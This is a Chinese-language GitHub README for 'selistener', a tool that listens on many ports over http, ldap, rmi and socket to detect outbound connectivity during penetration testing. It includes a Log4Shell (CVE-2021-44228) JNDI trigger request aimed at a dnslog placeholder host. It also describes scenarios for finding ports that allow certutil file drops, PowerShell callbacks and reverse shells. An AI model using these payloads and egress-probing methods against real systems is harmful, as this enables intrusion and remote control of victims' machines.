Skip to content

用于解决判断出网情况的问题,以http、ldap、rmi以及socket形式批量监听端口,在web界面进行结果查看

Notifications You must be signed in to change notification settings

f0ng/selistener

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

44 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

搭配log4j2burpscanner参考这里

项目中的jar包为log4j(CVE-2021-44228)环境 触发漏洞的请求包为:

GET /cvetext?cmd=$%7bjndi:dns://xxxxx.dnslog.cn%7d HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

selistener

用于解决判断出网情况的问题,以http、ldap、rmi以及socket形式批量监听端口,在web界面进行结果查看,结果呈现形式类似dnslog,可用于内网log4j(CVE-2021-44228)等漏洞的检测,默认访问http://x.x.x.x:65535/resp即可查看到请求

  • http请求

image

  • ldap请求

image

  • rmi请求

image

用法:

-ps , ports start    端口组监听,开始
-pe , ports end      端口组监听,结束
-pn ,port ,exp:22,3306,8443  指定端口监听
-wp ,wport ,exp: 65535    指定端口运行http服务查看结果
-t, token, exp: f0ng  指定token
  • windows可直接运行
  • linux需要安装musl-libc-static
Ubuntu
apt install musl-tools


Centos
get https://copr.fedorainfracloud.org/coprs/ngompa/musl-libc/repo/epel-7/ngompa-musl-libc-epel-7.repo -O /etc/yum.repos.d/ngompa-musl-libc-epel-7.repo

yum install -y musl-libc-static

web页面进行查询

words参数,根据内容查询请求,exp: words=/index
ip参数,根据ip查询请求,exp: ip=127.0.0.1
port参数,根据端口查询请求,exp: port=8081
protocol参数,根据协议查询请求,exp: protocol=http

场景一

在log4j2(CVE-2021-44228)下,一般JNDIExpliot的1389等ldap的端口会禁止,那么可以使用该工具进行批量端口监听,然后在数据包内设置端口号为变量,查看端口通信接收情况(ldap),举例ldap监听情况(rmi同理):

image

场景二

在windows系统无法上传文件情况下,需要进行文件下载,如certutil落地文件、powershell上线等等,会遇到某些端口无法出网,可以将certuil探测的端口设置为变量,使用本工具进行监听,如下

image

场景三

在进行反弹shell的时候,有时会禁止一些目的端口访问,可以通过使用该工具进行批量端口监听,查看端口通信接收情况(socket)。

image

About

用于解决判断出网情况的问题,以http、ldap、rmi以及socket形式批量监听端口,在web界面进行结果查看

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages